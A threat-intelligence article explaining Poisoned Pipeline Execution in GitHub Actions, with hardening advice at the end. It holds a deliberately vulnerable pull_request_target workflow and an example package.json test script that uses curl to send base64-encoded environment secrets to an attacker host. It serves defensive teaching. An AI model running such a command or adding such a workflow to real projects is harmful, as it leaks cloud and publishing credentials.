Compromising the CI/CD Pipeline: Poisoned Pipeline Execution (PPE) and GitHub Actions Secret Exfiltration
Threat intelligence·10 min read·By Divine Chukwu

Compromising the CI/CD Pipeline: Poisoned Pipeline Execution (PPE) and GitHub Actions Secret Exfiltration

A technical teardown of untrusted pull-request workflows, malicious runners, OIDC token forging, and securing automated build environments from supply-chain intrusions.

The Software Supply Chain Under Siege

The modern continuous integration and deployment (CI/CD) pipeline is the digital crown jewels of any technology organization. It holds production deployment keys, cloud access tokens, code signing certificates, and proprietary source code.

When threat actors target an enterprise, compromising the developer CI/CD runner is frequently the fastest path to production infrastructure. One of the most common and devastating attack vectors is Poisoned Pipeline Execution (PPE).

How Poisoned Pipeline Execution (PPE) Works

In many open-source and enterprise repositories, GitHub Actions workflows are configured to trigger on pull_request or pull_request_target events.

If a workflow is triggered by an external or low-privilege pull request, and the workflow executes scripts or actions defined inside that pull request, the attacker can modify the build configuration to execute arbitrary code within the runner environment.

Consider this common but dangerously flawed workflow:

# VULNERABLE WORKFLOW CONFIGURATION
name: PR Lint and Test
on:
  pull_request_target: # Dangerous: runs in context of base repo with secrets access

jobs:
test:
runs-on: ubuntu-latest
steps:

  • name: Checkout PR Code

uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Untrusted code checkout
  • name: Run Tests

run: |
npm install
npm test # Executes untrusted package.json scripts with access to repository secrets!
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
NPM_TOKEN: ${{ secrets.NPM_PUBLISH_TOKEN }}

An attacker submits a pull request that alters package.json's test script:

{
  "scripts": {
    "test": "curl -X POST -d @- https://attacker-c2.net/exfil <<< $(env | base64)"
  }
}

When the workflow triggers, the malicious command executes, dumps all environment variables—including production AWS credentials and private package publishing tokens—and exfiltrates them to the attacker's server.

Remediation & Hardening Principles

  1. Avoid pull_request_target for Untrusted Builds: Use standard pull_request triggers, which run in an unprivileged fork context without access to repository secrets.
  2. Adopt Short-Lived OpenID Connect (OIDC): Eliminate long-lived AWS and Azure access keys from GitHub Secrets. Use GitHub's OIDC provider to mint ephemeral, scoped tokens that expire after each job.
  3. Harden Runner Environments: Run sensitive build jobs on self-hosted ephemeral runners inside isolated VPCs with zero direct internet access.